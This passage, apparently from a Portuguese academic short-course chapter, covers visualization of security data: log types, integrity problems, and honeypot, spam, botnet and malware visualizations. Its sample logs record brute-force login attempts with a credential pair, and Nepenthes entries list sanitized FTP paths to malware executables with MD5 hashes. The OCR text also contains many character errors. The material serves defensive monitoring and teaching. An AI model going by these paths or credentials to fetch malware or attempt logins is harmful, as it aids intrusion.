acessos a um conjunto de honeypots distribuidos no espaco da Internet brasileira, organi-
zados por coordenadas aproximadas do IP de origem e com marcadores proporcionais ao
numero de acessos.

[ s | saiie [ yona | Tenan

Madagascar

Figura 5.5. Numero de acessos a uma honeynet (mundo inteiro)
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Figura 5.6. Namero de acessos a uma honeynet (parte da regido sudeste do Brasil)

Muitas outras técnicas de visualizagdo existem, e vdrias nao foram incluidas por
questdo de espaco. Vale a pena lembrar também que € possivel e até comum misturar
caracteristicas de diferentes técnicas de visualizac@o ou usar diferentes técnicas de forma
complementar.

5.3. Extracao e Pré-processamento de Dados de Seguranca para Visualizacao

Uma atividade fundamental para a seguranga de sistemas é a monitoracdo. Monitorar
e armazenar os registros dos eventos ocorridos em um sistema ou rede permitem uma
andlise posterior desses registros de forma a se procurar por acdes suspeitas ou maliciosas,
ou mesmo anomalias nos servicos do sistema. Os registros advindos da monitoragao
servem como dados de entrada para possibilitar a visualizacdo de eventos de seguranca
e por isso um tratamento especial deve ser dispensado as fontes desses dados. Nesta
secdo veremos alguns tipos de dados de seguranca e suas caracteristicas, formas de pré-
processamento de tais dados e como utiliza-los para visualizacao.

A necessidade da monitoracdo vem do fato que os ataques lancados contra sis-
temas computacionais deixam rastros, os quais podem ser utilizados para eventualmente
identificar a parte invasora, ou para analisar como o ataque foi efetuado. Estes rastros
correspondem as atividades realizadas em sistemas e redes alvo para que o ataque tenha
sucesso, e armazenam informacdes diversificadas, tais como a data e a hora do ocorrido, o
endereco IP de origem e de destino, servi¢os acessados/atacados, o conteido do fluxo de
dados que resultou no comprometimento de uma rede de computadores ou de um sistema
computacional, etc.

A interagdo resultante das atividades realizadas nos sistemas em geral é denomi-
nada de evento. Marty [18] define um evento como sendo uma modificacdo ou situagcdo
observdvel ocorrida em um ambiente por um periodo de tempo determinado. Ainda, que
um evento pode ser um estado especifico ou uma mudanga de estado de um sistema.
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O registro destes eventos é chamado de log, e € realizado através da coleta de
dados de vérios tipos de eventos de fontes diversificadas. Esta atividade é de vital im-
portancia para que o histérico dos eventos seja mantido e a fim de prover dados para a
visualizagcdo destes. A seguir, o conceito de log serd definido e discutiremos seus tipos,
bem como os problemas de coleta, armazenamento e andlise.

5.3.1. Fontes de dados: Logs

Antes de iniciarmos a apresentacdo dos tipos de fontes de dados, vamos definir o que é
um log. Entende-se por log um registro de transacdo ou auditoria que consiste de um
ou mais arquivos do tipo texto ou em formatos especificos gerados por certas aplicagdes,
que permite a visualizacdo dos eventos ocorridos em um sistema. Os logs sdo gerados
por dispositivos computacionais relacionados aos componentes de um sistema, tais como
aplicacdes, o sistema operacional, dispositivos de hardware, além da interacdo entre sis-
temas formando redes de computadores. Em linhas gerais, logs podem representar trés
tipos de eventos em um sistema: a atividade normal, alertas ou erro em algum dos com-
ponentes do sistema. Um log deve prover informacdo suficiente para que o evento possa
ser identificado e compreendido.

Os dados ou mensagens de log podem variar conforme suas fontes geradoras, que
vao desde o sistema operacional instalado, até a finalidade do sistema em si (servidor,
computador de usuério, roteador), ndo sendo limitados a um sistema especifico. A seguir,
apresenta-se uma lista contendo algumas classes de sistemas ou dispositivos capazes de
gerar logs:

e Dispositivos de rede;

Sistema operacional;

Aplicagoes;

Firewall,

Sistema de Deteccao de Intrusao;

Anti-virus.

Cada um destes tipos de logs tem o seu formato especifico, definido pelo fabricante
ou mantenedor do software/dispositivo gerador do log. Vamos mostrar exemplos de logs
de alguns dos tipos citados, explicando as informagdes que os compdem.

5.3.1.1. Logs de Trafego na Rede

Os logs do trafego em uma rede, também conhecidos por dumps, contém informacdes
titeis para se identificar ocorréncias relacionadas as conexdes entre mdquinas. Estas in-
formacgdes podem ser (mas ndo se limitam a) os enderecos de rede das maquinas de ori-
gem e destino do trafego, os servicos que serdo executados durante a comunicagdo, os
protocolos utilizados e os dados transferidos. Isto permite a reconstituicdo dos eventos
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de rede, podendo servir para se reconstruir partes de traifego que antecederam um ataque,
bem como o que ocorreu durante 0 mesmo (se foi bem-sucedido ou ndo, se houveram
tentativas de conexao para outras redes com o objetivo de realizar varreduras, atacd-las ou
obter ferramentas).

Um exemplo de dump pode ser observado adiante, que representa um pacote de
inicio de conexdo e contém muitas informagdes importantes para andlise. O exemplo foi
ligeiramente reformatado para caber no formato do texto.

05:58:35.753776 00:21:29:d7:9a:ea > 00:19:e3:d3:d0:83,
ethertype IPv4 (0x0800), length 74: 10.1.1.91.443 >
192.168.1.100.60623: S 3658304570:3658304570(0) ack
3951756929 win 5792

<mss 1460, sackOK,timestamp 4044188756 742339032, nop,wscale 7>

Cada entrada no log de dumps aparece em uma linha. Os campos deste pacote sao
separados por espagos e sdo, na ordem em que aparecem:

e timestamp (marca o tempo em que o pacote foi capturado pela ferramenta);
e enderecos Ethernet de origem e destino (MAC address)

e protocolo da camada de rede;

e tamanho do pacote (Length);

e endereco IP e porta de origem > endereco IP e porta de destino;

e flag SYN habilitada (S);

e numero de seqiiéncia;

e flag ACK habilitada (ack);

e numero de reconhecimento;

e tamanho da janela (win);

e tamanho méaximo do segmento (mss) e outras opgdes.

As informagdes que podem ser extraidas de pacotes de rede sdo muitas, inclusive
sobre o contetdo destes pacotes, como por exemplo, sites acessados ou logins de usudrios.
Entretanto, utilizando apenas as informacgdes de cabecalho, como as mostradas acima, ja
€ possivel visualizar eventos simples e tteis, tais quais quantas conexdes entram ou saem
de uma determinada maquina, se um computador estd gerando muito trifego na rede e
qual a localiza¢ao das maquinas que estdo atacando um determinado sistema.
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5.3.1.2. Logs do Sistema Operacional

Estes logs contém mensagens informativas sobre a inter-relagdo entre o sistema opera-
cional, os componentes de hardware e os aplicativos em execu¢do. Tentativas de acesso
(local ou remoto), falhas de dispositivos e servicos ou mensagens do kernel do sistema
sdo registradas neste tipo de log. Nos sistemas operacionais unix—1ike estes logs sdo
armazenados no diretério /var/1log e subdivididos por tipo de mecanismo monitorado
ou informacao a ser provida.

Para exemplificar um /og de sistema, a seguir mostram-se eventos do kernel de
um computador retirados de um log do sistema operacional, contendo a identificacdo do
dispositivo de redes sem fio presente no computador citado.

Aug 20 07:08:40 Macintosh kernel[0]: \\
AirPort: Link Down on enl

As informagdes que este tipo de log prové sao:

e data e hora (timestamp);

e hostname, que € o identificador nominal do computador (a cargo do usudrio ou
default, nesse caso, Macintosh);

e agente gerador da mensagem (neste caso o kernel do sistema);

e servico ou dispositivo que disparou este evento (no exemplo, o driver da interface
de rede sem fio, AirPort);

e mensagem indicativa do evento.

5.3.1.3. Logs da Aplicaciao

Os logs das aplicacdes registram informacgdes a respeito do funcionamento destas, tais
como mensagens de inicio, finalizacdo ou reinicializacdo de um servico, acessos a re-
cursos da aplicagdo e erros ocorridos. Muitas aplicacdes e ferramentas de seguranca se
utilizam das rotinas de geracdo de logs do proprio sistema operacional para registrar seus
eventos.

Abaixo € mostrado um log da aplicacdo ssh contendo 0os mesmos campos de
informacdo de um log do sistema operacional, uma vez que a aplicacdo se utilizou do
mesmo mecanismo do sistema para registrar seus eventos. O primeiro evento corresponde
a um registro normal, indicando que o processo (daemon) estd executando em estado de
escuta na porta 22 local. O segundo e terceiro eventos correspondem a uma tentativa nao
autorizada de acesso, através de um ataque de for¢a bruta por diciondrio.

Oct 5 05:21:33 localhost sshd[2393]:
Server listening on 0.0.0.0 port 22.
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Oct 5 07:27:12 localhost sshd[3210]:
Invalid user apple from X.Y.Z.132

Oct 5 07:27:12 localhost sshd[3210]:
Failed password for invalid user apple from
X.Y.Z2.132 port 39427 ssh2

5.3.1.4. Logs de Sistema de Deteccao de Intrusao

Os logs dos sistemas de deteccao de intrusao (IDS, Intrusion Detection Systems) em geral
assemelham-se a dumps do t cpdump, uma vez que alguns IDSs sdo baseados na bibli-
oteca de captura de pacotes 1ibpcap®. No caso do Snort’, um sistema de deteccio
de intrusdo baseado em assinaturas de ataque, junto com as informacdes do trafego de
rede hd um alerta associado, correspondendo a identificacdo de uma possivel tentativa de
invasdo. O identificador do alerta, seguido das informag¢des contidas nos cabecalhos dos
protocolos da implementacdo da pilha TCP/IP podem ser verificados abaixo.

[*%x] [1:483:5] ICMP PING CyberKit 2.2 Windows [#*x*]
[Classification: Misc activity] [Priority: 3]
08/01-03:37:36.117652 10.10.10.2 —> 192.168.20.29
ICMP TTL:121 TOS:0x0 ID:49936 IpLen:20 DgmLen:92
Type:8 Code:0 1ID:16009 Seq:3967 ECHO

[Xref => http://www.whitehats.com/info/IDS154]

5.3.1.5. Outros logs

Existem muitos outros tipos de logs voltados a descoberta de eventos de seguranca, que
tratam-se de logs de aplicacdes especificas ou logs de dispositivos de rede. Aplicacdes de
seguranca especificas sdo utilizadas para, por exemplo, monitorar a incidéncia de acessos
via rede em sensores ou a incidéncia de ataques por malware. No caso dos dispositivos de
rede, roteadores sdo configurados para exportar fluxos de dados, os quais podem prover
informacdes interessantes sobre pares de maquinas comunicantes e também sdo utilizados
na detecgio de atividades andmalas. Vamos mostrar logs de sensores como honeyd® e
nepenthes® e informacdes de fluxos obtidas através das flow-tools'®. Na préxima secio
serdo mostrados alguns gréficos utilizando os diferentes tipos de logs aqui expostos.

Honeyd

Honeyd é uma aplicagdo para implementacido de honeypots — sistemas configu-
rados especialmente para receber e monitorar ataques — de baixa interatividade. Com a
utilizag¢do da ferramenta honeyd, é possivel instanciar centenas de enderecos de Internet e

®Maiores informacdes sobre o tcpdump e a libpcap podem ser obtidas em
http://www.tcpdump.org

7http:www.snort.org

8http://www.honeyd.org

http://nepenthes.carnivore.it
Ohttp://freshmeat.net/projects/flow-tools/
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emular sistemas operacionais e servi¢os de rede diversificados com apenas um computa-
dor [21].

Um exemplo de log provido pelo Honeyd esta a seguir, no qual é mostrada uma
conexdo telnet estabelecida e tentativa de login falha (novamente formatado para ade-
quagdo ao tamanho do texto):

Connection established: tcp (10.0.0.1:6324 - 192.168.1.1:23)
<-> scripts/router-telnet.pl

E(10.0.0.1:6324 - 192.168.1.1:23): Attempted login:
root/rootl123

Na ordem, as informagdes mostradas pelo log sdo:

e Estado da conexdo;
e Protocolo;
e Par de enderecos IP e portas comunicantes (origem e destino);

e Emulador utilizado (no exemplo, script que emula um terminal de telnet de
roteador);

e Mensagem resultante da sess@o (no exemplo, usudrio e senha providos pelo ata-
cante).

Nepenthes

Nepenthes é¢ uma solugao de honeypot de baixa interagao desenvolvida para coletar
malware de maneira automatizada [21]. A idéia principal por trds da ferramenta € a
emulacdo de vulnerabilidades conhecidas em um servigo de rede, provendo o nivel de
interacdo com o servico suficiente apenas para que este seja atacado por malware que se
espalha automaticamente e o download de ferramentas para complementar o ataque seja
feito, sem comprometer o sistema operacional base. Cada exemplar de malware coletado
¢ armazenado em disco e todo o processo de obten¢do do exemplar (tendo ou nao sucesso)
¢ registrado em log.

A partir dos logs do Nepenthes, pode-se extrair o caminho para repositorios de
malware na Internet, como mostrado no log a seguir. Cada linha corresponde a um evento,
e é composta pelo caminho para obtenc¢do do malware e pelo MD5 do mesmo. Os endere-
cos IP foram sanitizados para fins de anonimizacdo, uma vez que muitos deles tratam-se
de méquinas invadidas.

ftp://XX.YY.175.178:56172/1ses.exe \\
£63d28549208068b5912f2a4d5cfd03

link://XXX.YY.254.183:1449/tECs/A== \\
de2a8e3f8e782d0a4847446d6bb39601

ftp://1:1QZ227Z .WWW.75.134:33606/svrsvc23.exe \\
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d33807a0843b40895766£85£277782f4
ftp://1:1QWWW.ZZ.88.152:24899/svrsvc23.exe \\
7caeb5ba95bbcb55306££59407dfb67db

Informacoes de fluxos

O NetFlow é uma ferramenta de monitoramento de trifego desenvolvida pela
CISCO NETWORKS. O Netflow € parte integral do IOS, sistema operacional dos equipa-
mentos CISCO, e coleta e mede dados a medida em que chegam a interfaces especificas
de roteadores e switches. Diversos outros fabricantes acabaram por adotar também o
Netflow em seus equipamentos de rede.

Um fluxo € identificado como uma sequéncia unidirecional de pacotes entre um
dado par origem-destino, ambos definidos pelo endereco IP na camada de rede e pelos
nimeros de porta na camada de transporte [7]. Especificamente, um fluxo € uma combi-
nagdo dos seguintes campos:

e Endereco IP de origem

e Endereco IP de destino

e Nimero de porta de origem

e Numero de porta de destino

e Tipo de protocolo — camada 3
e ToS byte!!

e Interface l6gica de entrada (i fIndex), isto é, a identifica¢do da interface de rede
dada pelo sistema operacional

Para manipular dados de fluxos, mais especificamente de Net F 1 ow, existe o con-
junto Flow—-tools, que dentre outras funcionalidades permite a geracao de relatérios
sobre estes dados.

Em redes de alta velocidade, o volume de conexdes implica em uma quantidade
proporcional de dados para andlise a fim de detectar intrusdes. Isso demanda um tempo
de processamento consideravel e alto poder computacional, fazendo com que uma anélise
menos granularizada seja interessante na busca de tendéncias de ataque. O tratamento
adequado desses problemas pode ser feito com o uso do Net £ 1 ow para geracao de fluxos.
As principais vantagens na utilizacdo do Net f1ow para deteccao de intrusdo em redes
de alta velocidade sdo:

e Baixo volume de dados gerados, implicando em menor necessidade de espago para
armazenamento e de processamento na andlise. Numa rede em que, para um dia de
trafego, temos um volume total de cerca de 150MB de dados netflow, terfamos um
total aproximado de 7 GB com dados de trafego de rede puro, utilizando captura
parcial de pacotes.

Uhttp://tools.ietf.org/html/rfc3168
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e Em virtude de ser uma facilidade disponivel na maioria dos equipamentos atuais,
ndo hd necessidade de espelhamento de portas ou algum outro artificio para intro-
ducgdo de um sensor.

e Menor necessidade de processamento na captura, eliminando o problema de perda
de pacotes por alto volume de trafego, desde que configurado adequadamente.

A anélise minuciosa de fluxos de dados pode trazer resultados rapidos e eficazes
na administracdo e protecdo de uma rede, pois permite a identificacdo de situagcdes de
utilizacdo dos recursos da rede que podem causar violacdes de politica. Nestas situa-
coes incluem-se worms, programas que se conectam a redes de distribuicdo de contetido
(peer-to-peer) e tentativas de se realizar negacdo de servigo (DoS). O uso combinado
de algumas ferramentas da cole¢do Flow-tools, como, por exemplo, flow-cat,
flow-nfilter e flow-stat traz resultados interessantes na deteccao de possivel
comportamento inadequado por parte dos usudrios de uma determinada rede. A seguir,
€ mostrado um exemplo de relatério com a contagem da quantidade de diferentes ende-
recos IP de destino acessados a partir de hosts internos. Através deste tipo de relatério
pode-se controlar melhor as atividades das médquinas da rede interna, uma vez que sob
condicdes normais um usudrio nao consegue acessar milhares de enderecos em um tinico
dia de servico.

192.168.2.4 18857
192.168.3.1 16952
192.168.28.5 16580
192.168.34.50 15091
192.168.35.1 14593

Um exemplo de grafico de fluxo estd na Figura 5.7, na qual podemos notar uma
anomalia de trafego devido a diferenca entre os fluxos de entrada e os de saida.

5.3.2. Problemas com a integridade das informacoes

Como visto, hd uma vasta gama de dados diferentes providos por sistemas computacionais
e que sdo utilizados na administracdo e seguranca desses sistemas. Tais dados, por conter
uma grande quantidade de informagdo, devem ser tratados com a finalidade de serem
visualizados para prover rapidamente informagdes tteis sobre a seguranca de uma rede
ou sistema.

Entretanto, pode haver problemas na geracao e armazenamento de /ogs, fazendo
com que estes ndo sejam integros e gerem informacdes incorretas durante o processo de
andlise e visualizacdo. Dentre os problemas que podem ocorrer quando da utilizacdo de
logs para visualizacdo de seguranca, os principais sao:

e Dados incompletos;
e Erros de sincronizacio;

e Ruido nos logs.
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Figura 5.7. Trafego ICMP total em um sensor para um periodo de 48 horas, em
fluxos por segundo

5.3.2.1. Dados incompletos

O grande problema da incompletude dos dados é a possibilidade de interpretacio errd-
nea, tanto gerando alarmes falsos sobre eventos que sdo completamente normais, quanto
deixando de dar a informag¢ao adequada no caso de eventos andomalos ou maliciosos.

Isto acontece quando os dados coletados — sejam eles quaisquer tipos de logs
— sofrem uma parada abrupta no processo de coleta ou ocorre algum tipo de erro no
armazenamento, causando corrup¢do nos arquivos. Na prdtica, isso pode acarretar nao
interpretacdo de um ou mais arquivos de um conjunto, tornando o resultado final incorreto.

Na Figura 5.8 é mostrado um gréfico de incidéncia de ataques de acordo com o
protocolo de rede, no qual hd espacos em branco, indicados por barras escuras. Esses
espagos em branco podem ser vistos na ampliacdo mostrada na Figura 5.9, a qual cor-
responde a uma das semanas em que houveram falhas na coleta. Tais espacos foram
ocasionados por falhas de rede que impediram a maquina coletora de logs de recebé-los
(e consequentemente armazend-los), modificando ndo s6 o gréfico, mas atrapalhando na
geragdo das estatisticas para o referido periodo de tempo.

No caso de andlises para identificar intrusdes, € necessario o correlacionamento de
diferentes fontes de dados para que se chegue a uma conclusio acerca da extensao de um
ataque efetuado. Por exemplo, uma invasdo a um servidor de uma rede pode gerar logs no
gateway da rede, no firewall, no sistema de deteccao de intrusdo, no sistema operacional
do servidor e na aplicacdo atacada. A interseccao destas diversas fontes de dados é que
ird gerar as informagdes necessdrias para se caracterizar como o ataque foi realizado,
que outro sistema foi atacado e qual foi a extensdo do dano sofrido. Dado faltantes ou
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Figura 5.8. Grafico de informacé6es de acessos a rede de um ano, com espacos faltantes
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Figura 5.9. Grafico de informagoes de acessos a rede de uma semana, com 0s
dados incompletos evidenciados

corrompidos certamente prejudicam o andamento da investigagdo e das conclusdes, uma
vez que pode ndo ser possivel visualizar adequadamente todos os eventos que ocorreram.

Para garantir que isso ndo ocorra, deve-se investir principalmente no bom projeto
da arquitetura que ird efetuar a coleta e armazenamento dos logs, levando em conta a
disponibilidade, integridade e monitoramento constante dos processos envolvidos.

5.3.2.2. Erros de sincronizac¢io

Ainda que a arquitetura de coleta e armazenamento de /ogs seja adequada, pode ocorrer
um outro problema, igualmente prejudicial ao dos dados incompletos: a falta de sincro-
nismo entre os relégios dos dispositivos componentes do sistema. E importante que todos
os componentes (servidores, roteadores, maquinas de usudrios) estejam com 0 mesmo
horério, ou indicando corretamente as time zones. Erros na sincronizacdo dos rel6gios
podem invalidar completamente uma investiga¢do e ndo permitir a visualiza¢do correta
das informagdes, pois os eventos de um ataque devem estar necessariamente em ordem
cronoldgica.

Mesmo que os eventos possam ser colocados na ordem correta, € importante levar
em conta a precisdo de tempo dos registros. Marty escreve em Applied Security Visua-
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lization [18] que transacdes financeiras sdo extremamente sensiveis no que diz respeito
ao tempo, e diferengas de milisegundos podem fazer uma diferenca significativa em como
eles sdo interpretados ou os efeitos que eles tém.

5.3.2.3. Ruido nos logs

Um outro problema muito comum € o ruido, o qual ocorre quando eventos que nao deve-
riam ser registrados aparecem nos logs, atrapalhando a visualizacdo dos eventos impor-
tantes ou ocasionando erros na interpretacdo dos resultados.

Os ruidos ocorrem quando nao € feita a filtragem adequada no pré-processamento
dos dados, deixando aparecer por exemplo, no caso de logs de rede, os acessos admi-
nistrativos ou trafego comum de protocolos de roteamento. No caso da visualizacdo de
eventos do sistema operacional, como a andlise dinamica da execu¢do de um c6digo ma-
licioso, o ruido pode ser exemplificado pelo aparecimento de chamadas de sistema das
ferramentas usadas para andlise junto com as chamadas do programa malicioso.

Para resolucdo de problemas de ruido, € necessario o tratamento meticuloso dos
dados que irdo gerar um log, atentando para a retirada das informag¢des normais, comuns
ou sem utilidade para a deteccdo do evento.

5.4. Técnicas de Visualizacao com Aplicacoes a Dados de Seguranca

Utilizando a diversidade de logs gerados por sistemas operacionais, dispositivos de rede
€ mecanismos para seguranga, podemos visualizar os eventos de maneira mais pratica
do que simplesmente a leitura de um arquivo com informacdes textuais. Técnicas de
visualizac@o de eventos de seguranca utilizando graficos permitem a identificacdo rdpida
de atividades suspeitas ocorrendo em uma rede ou sistema, auxiliando na resposta ao
incidente.

Nesta secdo mostraremos vdrias formas de se visualizar eventos de seguranga que
sdo utilizadas pelos autores em suas redes institucionais e outros exemplos da area.

5.4.1. Dados geograficos de atividades maliciosas

Na se¢do anterior vimos que um log provido por um honeypot como o Honeyd contém
informagdes sobre um endereco IP utilizado em um ataque, bem como o servigo atacado,
o protocolo da conexio, entre outras informacdes.

O Consércio Brasileiro de Honeypots !2 criou hd alguns anos o Projeto Honeypots
Distribuidos para aumentar a deteccdo de incidentes, correlacionamento de eventos de
seguranca e, principalmente, observacio das tendéncias no que diz respeito aos ataques
ocorrendo no ciberespacgo brasileiro. Este Projeto trata-se da implantagdo de uma rede
de honeypots com Honeyd instalado, espalhada por mais de 20 institui¢des (publicas e
privadas) em todo o territorio nacional. Além disso, os dados s@o analisados e sumdrios
com as informacdes didrias coletadas sdo enviados aos membros, para que esses possam
averiguar quais tipos de acesso seu sensor estd recebendo.

PZhttp://www.honeypots—alliance.org.br
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Um gréafico para identificacio dos paises que foram origens de ataques a honeypots
do Consorcio € mostrado na Figura 5.10. Sao gerados gréficos desse tipo de hora em hora,
disponiveisem http://www.dssi.cti.gov.br/dssi/statistics.html, atra-
vés do parsing dos logs dos Honeyd do Consorcio e tratamento destes a fim de pontuar
quantos acessos um determinado endereco IP efetuou, e de onde tal endereco € proveni-
ente.

Figura 5.10. Exemplo de mapa gerado com a quantidade de ataques em honeypot
brasileiro de acordo com o pais de origem do ataque

A visualizacdo de como os ataques provenientes de diversos paises aos sensores
nacionais evoluem, de hora em hora, pode ser observada na Figura 5.11, que ilustra os
ataques por um periodo de trés horas.

Utilizando técnica similar, os logs da ferramenta Nepenthes podem ser tratados
para extrair os enderegos IP utilizados para o download de malware, gerando assim um
mapa dos repositérios de malware ao redor do mundo, ou ainda, relacionar quais paises
estdo provendo quais amostras de malware, mapeando assim sua distribuicao.

Outra iniciativa de monitoracao de atividades maliciosas utilizando visualizacao
geogrifica é implementada pela The Shadowserver Foundation'3. Os enderecos IP de ser-
vidores de controle de botnets monitoradas sdo convertidos em coordenadas geogréficas
e ilustrados em um mapa do globo, como o da Figura 5.12. Mais servidores de controle
em uma mesma posi¢do geram pontos de didmetro maior no mapa.

5.4.2. Visualizacao de Campanhas de Spam

O CERT.br!# instanciou, em 2007, o Projeto SpamPots'> para levantar dados sobre o com-
prometimento de médquinas conectadas a Internet com a finalidade de enviar spam. Em
parceria com o Departamento de Ciéncia da Computagio da UFMG'®, os dados coletados
de spam foram analisados em busca de comportamentos que identificassem o padrao de

Bhnttp://www.shadowserver.org
Yhttp://www.cert.br
Bhttp://www.cert.br/docs/whitepapers/spampots
http://www.dcc.ufmg.br
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Figura 5.11. Evolucao de ataques a honeypots do Consorcio Brasileiro de Ho-
neypots durante um periodo de 3 horas

atuacao dos spammers, utilizando técnicas de mineracdo de dados. A identificacdo des-
ses padrdes envolve a separacdo de uma grande massa de spams em campanhas, isto &,
conjuntos de mensagens que compartilham caracteristicas frequentes e possuem poucas
caracteristicas infrequentes as quais servem para ofuscar o real objetivo da mensagem. Na
Figura 5.13, um exemplo de campanha de spam é mostrado, onde cada atributo extraido
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Figura 5.12. Localizacdo de servidores de controle de botnets monitorados nas
ultimas 24 horas

de uma mensagem de spam — idioma, layout, tokens das URLs contidas — € colocado em
uma estrutura de drvore de padrdes frequentes e representado por uma cor diferente.

N

|
I

IR

\.

Figura 5.13. Exemplo de campanha de spam

Na Figura 5.14, a drvore mostra varias campanhas de spam, permitindo a visua-
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liza¢do dos padrdes para criagdo de uma campanha e consequente melhor entendimento
das técnicas utilizadas por um spammer para ofuscar as mensagens e driblar os filtros
antispam [4].

Figura 5.14. Arvore de padrao de frequencias de varias campanhas de spam

5.4.3. Atuacio de malware

Tem sido dada muita atencdo a andlise de software malicioso (malware), que € a maior
ameaca aos sistemas computacionais atualmente. A andlise de binédrios pode fornecer
informagdes sobre a similaridade entre malware, o que permite a identificagcdo rapida de
comportamento através de assinaturas nas instrucdes que os compdem. A Figura 5.15,
mostra o fluxo de execu¢do de uma parte de dois malware, onde o malware A é identi-
ficado por (A) na figura e o malware B, por (B). Nesta figura sdo ilustradas porcoes de
codigo das amostras que levam a execucdo de uma mesma fung¢do maliciosa, embora a
ordem das chamadas de fun¢Oes anteriores seja executada de maneira diferente. Isso mos-
tra que, somente visualizando estruturalmente os blocos de chamadas de funcao pode ser
dificil identificar dois malware similares.

Na Figura 5.16, podemos observar no malware A (I) um conjunto de instrucdes
similar ao do malware B (II), devido ao conhecimento de que este bloco executa acdes
maliciosas e da visualizacdo das instru¢cdes que fazem parte desse bloco. Através da
criacdo de uma base de dados de “assinaturas‘ que mapeiem blocos maliciosos, torna-
se possivel identificar de maneira mais facil a atuacdo de malware e a similaridade de
comportamento entre eles.

Outro ponto interessante para agrupar malware € através da separa¢do das amos-
tras de acordo com algum critério de classificacdo, como por exemplo, subclasses atri-
buidas por software antivirus. Utilizando tal abordagem, familias de malware podem ser
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Figura 5.15. Diferentes fluxos de execucao de chamadas de uma funcao malici-
osa em amostras de malware similares

visualizadas através da criacdo de drvores de subclasses atribuidas, como podemos ob-
servar na Figura 5.17, na qual foi gerada um gréfico seguindo o esquema de arvore de
diretdrios.

5.4.4. Sensores de seguranca

Ainda utilizando dados do Honeyd, € possivel gerar graficos simples, apenas para se ter
estatisticas de servigos mais acessados ou protocolos mais utilizados em ataques. Através
do gréfico mostrado na Figura 5.18, temos uma estatistica didria sobre quais portas sdo
mais acessadas e o protocolo utilizado, o que € bastante util para a identificagdo dos servi-
cos mais atacados a fim de manté-los atualizados e verificar se estdo sendo implementadas
medidas de protecdo adequadas.

Com os mesmos dados, na Figura 5.19 € mostrada uma estimativa (didria, por
uma semana, no exemplo) do acesso por protocolo (TCP, UDP ou ICMP) em honeypots
do Consorcio. Este tipo de grafico € ttil para a visualizagdo de bursts de trafego em algum
protocolo, auxiliando na identificacdo de alguma anomalia ou disseminagdo de worm, por
exemplo.

Outro gréfico simples que serve para a observacdo de tendéncias ao longo do
tempo pode ser visto na Figura 5.20, extraida da pagina do ShadowServer.

Adiante veremos alguns exemplos comentados de aplicacdo de técnicas de visuali-
zacdo em seguranga de redes, sistemas e dados, selecionadas da literatura técnica recente.

Conti et al. [6] apresentam cendrios onde € necessdrio analisar (ou modificar) ar-
quivos de forma independente de contexto (isto €, sem conhecimento explicito sobre o
formato real e funcdo dos arquivos). Alguns destes cendrios sdo baseados em problemas
relacionados com andlise forense, andlise de malware, identificacao e auditoria em arqui-
vos, entre outros. Baseado em alguns destes cendrios os autores implementam técnicas
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maliciosa das amostras de malware
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complementares de visualizacio de um mesmo arquivo, em uma ferramenta que apre-
senta informacdes textuais junto com informagdes bindrias, apresentadas como imagens
(Figura 5.21). Os autores demonstram como as técnicas implementadas podem ser usadas
para rapida e facilmente identificar texto em arquivos bindrios, regularidade em arquivos
com registros de tamanho fixo, mudanca em estruturas de arquivos e outros exemplos.
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Figura 5.17. Separacédo de malware de acordo com a subclasse identificada por
mecanismos antivirus
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Figura 5.18. Portas mais acessadas em um honeypot durante o periodo de um dia

Weekly Accesses by Protocol (http://www.honeypots-alliance.org.br/)
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Figura 5.19. Quantidade de acessos a honeypots por protocolo

Heitzmann et al. [11] argumentam que pode ser complicado entender as con-
sequéncias préticas da aplicacdo de regras de controle de acesso a arquivos, especialmente
considerando permissdes herdadas e outras caracteristicas de sistemas de arquivos de sis-
temas operacionais modernos. Os autores propdem uma ferramenta baseada em treemaps
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Figura 5.20. Quantidade de servidores de controle de botnets monitorados ao
longo do tempo
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Figura 5.21. Interface da aplicacao desenvolvida por Conti et al. [6].

(secdo 5.2.1) com células coloridas para visualizar hierarquicamente os sistemas de arqui-
vos, sugerindo que padrdes visuais podem ser muito mais facilmente interpretdveis do que
relatdrios textuais. Um exemplo da visualiza¢do proposta pode ser vista na Figura 5.22,
que mostra a estrutura de diretdrios e arquivos antes e depois de uma operacao de cépia
que modifica as permissdes de alguns dos arquivos copiados.

Fischer et al. [8] mostram técnicas de anélise e visualizacdo de dados coletados do
protocolo NetFlow. Uma variante da técnica treemap € usada para indicar conexdes entre
madaquinas externas e internas a rede sendo monitorada. Como exemplo de visualiza¢io
do sistema proposto, a Figura 5.23 mostra de forma grafica as conexdes feitas por uma
botnet com 120 méquinas para as maquinas da Universidade de Konstanz (Alemanha)
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Figura 5.22. Visualizacao de arquivos, diretorios e permissoes, usada por Heitz-
mann et al. [11].

durante um ataque em 2008. De acordo com os autores o ataque, por ter sido feito de
forma distribuida, nao foi severo o suficiente para detecdo por sistemas existentes na
universidade na época.

Karim et al. [14] descrevem métodos para a constru¢do de modelos de filogenia
de malware para estudar melhor a evolucdo do c6digo do malware. Embora a abordagem
dos autores ndo seja diretamente relacionada com visualizacdo, eles usam em seu artigo
uma técnica composta de dendograma com anotac¢des que pode ser replicada e adaptada
para outras aplicacdes de visualizacdo de dados representdveis de forma hierdrquica. A
Figura 5.24 mostra a técnica usada pelos autores.

Bilar [3] analisa a estrutura de chamada de funcdes (callgraphs) de malware e
de aplicacdes legitimas quanto a algumas propriedades: nimero de chamadas a funcdes
internas (normais), nimero de chamadas a fun¢des externas de forma estatica (bibliote-
cas)ou dindmica (imports) e namero de thunks (chamadas curtas, geralmente envelopes
de funcoes).

Os resultados sdo apresentados de forma estatistica e com varios graficos de es-
palhamento que mostram, para os conjuntos de malware e de aplicagdes legitimas, as
distribui¢des das varidveis estudadas, duas a duas (o que seria um bom caso para uso de
uma matriz de graficos de espalhamento). A cor de cada ponto € proporcional ao tamanho
do executdvel. O exemplo de visualizacdo dos dados dos callgraphs criado por Bilar [3]
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Figura 5.23. Visualizacdo das conexodes feitas durante um ataque de uma botnet,

usada por Fischer et al. [8].
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Figura 5.24. Dendograma mostrando um modelo de filogenia de malware e res-
pectiva classificacao por alguns anti-virus (Karim et al. [14].

€ mostrado na Figura 5.25.

Onut et al. [20] apresenta uma técnica para auxiliar a dete¢do de tentativas de in-
trusdo através da visualizacdo da rede sendo estudada como uma comunidade de sistemas
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Figura 5.25. Graficos de espalhamento de métricas de callgraphs de malware e
de software legitimo (Bilar [3]).

que trocam mensagens entre si. A técnica possibilita visualizar a quantidade de troca de
mensagens entre varios servi¢os simultaneamente.

Micarelli e Sansonetti [19] apresentam técnicas de representacdo do estado de
sequéncia de chamadas a um sistema (system calls de forma gréfica, e aplicam técnicas
de processamento de imagens e recuperacdo de conteudo baseado em imagens (CBIR,
Content-Based Image Retrieval) em um sistema de raciocinio baseado em casos para de-
